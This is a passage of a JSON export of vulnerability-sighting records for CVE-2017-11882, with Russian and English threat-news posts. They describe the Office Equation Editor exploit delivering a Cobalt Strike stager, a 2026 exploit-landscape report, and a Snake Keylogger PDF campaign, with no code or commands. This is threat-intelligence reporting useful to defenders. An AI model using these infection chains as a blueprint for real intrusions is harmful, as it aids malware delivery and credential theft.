\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u043a \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882 \u0432 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0431\u043e\u043b\u0435\u0435 6 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0435\u0451 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0437\u043e\u043d\u0435 .ru \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 PowerShell-\u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u0441\u0442\u0435\u0439\u0434\u0436\u0435\u0440 Cobalt Strike. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043c\u0430\u044f\u0447\u043a\u0430 Cobalt Strike \u0441 \u0432\u0448\u0438\u0442\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-07-29T12:03:04.892178Z"}, {"uuid": "bd39c968-8f92-487c-9b88-f94a5d77d9bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/S_E_Reborn/6571", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u043d\u0438\u043c: \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430 \u0438\u0445 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442, \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u044f \u0443\u0436\u0435 \u043e \u043f\u0430\u0442\u0447\u0430\u0445.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Nightmare Eclipse (\u0438\u043b\u0438 Chaotic Eclipse) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u043d\u043e\u0432\u044b\u0445 \u00ab\u0438\u043c\u0435\u043d\u043d\u044b\u0445\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows (BlueHammer, RedSun, YellowKey, GreenPlasma, RougePlanet, UnDefend).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043a\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b, \u0432 \u041b\u041a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u043d\u0438 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u0442\u0443\u0442 \u0432 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0440\u0435\u043d\u0434. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u043d\u044f\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0422\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u00ab\u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041f\u041e \u0434\u043b\u044f Windows, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u044d\u0442\u043e CVE-2018-0802 \u0438 CVE-2017-11882 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 Equation Editor; CVE-2017-0199 \u0432 Microsoft Office \u0438 WordPad; CVE-2023-38831 \u0438 CVE-2025-6218 (ZDI-CAN-27198) \u0432 WinRAR; CVE-2025-8088 \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f CVE-2025-6218.\n\n\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u0412 Linux \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u043d\u0430\u044f \u043f\u043e\u043b\u043e\u0441\u0430. \u0422\u0430\u043a, \u0431\u044b\u043b \u0440\u0430\u0441\u043a\u0440\u044b\u0442 \u043a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Dirty Frag, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430, \u0442\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c \u043a \u043a\u044d\u0448\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: CVE-2026-31431 (Copy Fail), CVE-2026-43284, CVE-2026-43500 (Dirty Frag), CVE-2026-46300 (Fragnesia), CVE-2026-31635 (DirtyDecrypt), CVE-2026-43494 (PinTheft) \u0438 CVE-2026-46331 (pedit COW).\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0441\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041b\u041a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0442\u0430\u043a\u0436\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272, CVE-2021-22555, CVE-2023-32233.\n\n\u0412 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e \u0442\u0438\u043f\u0430\u043c \u041f\u041e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0443. \u0422\u0430\u043a, \u043c\u044b \u0441\u043d\u043e\u0432\u0430 \u0432\u0438\u0434\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0442\u0430\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u043a\u0430\u043a SharePoint.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430\u043c\u0435\u0442\u0438\u043b\u0441\u044f \u0442\u0440\u0435\u043d\u0434 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0440\u0430\u0437\u0443 \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0438\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u0432 \u041b\u041a \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e 0-day. \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Langflow - \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0440\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 APT \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\n\n\u0421\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 C2-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430\u043c\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f Sliver, Havoc, Adaptix\u04212 \u0438 Metasploit.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-08-31T00:00:48.139428Z"}, {"uuid": "5e00f2b8-6dcb-4d16-b766-2fb3f0f54aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/hacking_Attack/54646", "content": "Black Hat Ethical Hacking\nSnake Keylogger Spreads Through Malicious PDFs\n\nSnake Keylogger Spreads Through Malicious PDFsPost Views: 2 \nPremium Content https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-3.png Subscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nWhile most malicious e-mail campaigns use Word documents to hide and spread malware, a recently discovered campaign uses a malicious PDF file and a 22-year-old Office bug to propagate the Snake Keylogger malware, researchers have found.\nThe campaign\u2014discovered by researchers at HP Wolf Security\u2014aims to dupe victims with an attached PDF file purporting to have information about a remittance payment, according to a blog post\u00a0published Friday. Instead, it loads the info-stealing malware, using some tricky evasion tactics to avoid detection.\n\n\u201cWhile Office formats remain popular, this campaign shows how attackers are also using weaponized PDF documents to infect systems,\u201d HP Wolf Security researcher Patrick Schlapfer wrote in the post, which opined in the headline that \u201cPDF Malware Is Not Yet Dead.\u201d\n\nIndeed, attackers using malicious email campaigns have preferred to package malware in Microsoft Office file formats, particularly Word and Excel, for the past decade, Schlapfer said. In the first quarter of 2022 alone, nearly half (45 percent) of malware stopped by HP Wolf Security used Office formats, according to researchers.\n\n\u201cThe reasons are clear: users are familiar with these file types, the applications used to open them are ubiquitous, and they are suited to social engineering lures,\u201d he wrote.\n\nStill, while the new campaign does use PDF in the file lure, it later employs Microsoft Word to deliver the ultimate payload\u2014the Snake Keylogger, researchers found. Snake Keylogger is a malware developed using .NET that first appeared in late 2020 and is aimed at stealing sensitive information from a victim\u2019s device, including saved credentials, the victim\u2019s keystrokes, screenshots of the victim\u2019s screen, and clipboard data, according to Fortinet. \u2018Unusual\u2019 CampaignThe HPW Wolf Security team noticed a new PDF-based threat campaign on March 23 with an \u201cunusual infection chain,\u201d involving not just a PDF but also \u201cseveral tricks to evade detection, such as embedding malicious files, loading remotely-hosted exploits and shellcode encryption,\u201d Schlapfer wrote.\n\nAttackers target victims with emails that include a PDF document named \u201cREMMITANCE INVOICE.pdf\u201d\u2014misspelling intended\u2013as attachment. If someone opens the file, Adobe Reader prompts the user to open a .docx file with a rather curious name, researchers found.\nSee Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \u201cThe attackers sneakily named the Word document \u201chas been verified. However PDF, Jpeg, xlsx, .docx\u201d to make it look as though the file name was part of the Adobe Reader prompt,\u201d according to the post.\n\nThe.docx file is stored as an EmbeddedFile object within the PDF, which opens Microsoft Word if clicked on, researchers found. If Protected View is disabled, Word downloads a Rich Text Format (.rtf) file from a web server, which then is run in the context of the open document.\n\nResearchers unzipped the contents of the .rtf\u2014which is an Office Open XML file\u2014finding a URL hidden in the \u201cdocument.xml.rels\u201d file that is not a legitimate domain found in Office documents, they said. 17-Year-Old Bug ExploitedConnecting to this URL leads to a redirect and then downloads an RTF document called \u201cf_document_shp.doc.\u00a0This document contained two \u201cnot well-formed\u201d OLE objects that revealed shellcode exploiting CVE-2017-11882, which researchers said is an \u201cover four-years-old\u201d remote code execution vulnerability (RCE) [...]", "creation_timestamp": "2026-09-01T20:01:37.907995Z"}, {"uuid": "e6962fd9-31b9-4494-8781-3cc59c8fe24e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "Telegram/eSGsp3WtYnX4D6nk7zI0XrQXLVBIBFPNJ554BlveoPv5VcY", "content": "", "creation_timestamp": "2026-09-01T20:02:52.013590Z"}, {"uuid": "aec5e85d-8628-485f-a9b7-1afbb411bb2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/hacking_Attack/54646", "content": "Black Hat Ethical Hacking\nSnake Keylogger Spreads Through Malicious PDFs\n\nSnake Keylogger Spreads Through Malicious PDFsPost Views: 2 \nPremium Content https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-3.png Subscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nWhile most malicious e-mail campaigns use Word documents to hide and spread malware, a recently discovered campaign uses a malicious PDF file and a 22-year-old Office bug to propagate the Snake Keylogger malware, researchers have found.\nThe campaign\u2014discovered by researchers at HP Wolf Security\u2014aims to dupe victims with an attached PDF file purporting to have information about a remittance payment, according to a blog post\u00a0published Friday. Instead, it loads the info-stealing malware, using some tricky evasion tactics to avoid detection.\n\n\u201cWhile Office formats remain popular, this campaign shows how attackers are also using weaponized PDF documents to infect systems,\u201d HP Wolf Security researcher Patrick Schlapfer wrote in the post, which opined in the headline that \u201cPDF Malware Is Not Yet Dead.\u201d\n\nIndeed, attackers using malicious email campaigns have preferred to package malware in Microsoft Office file 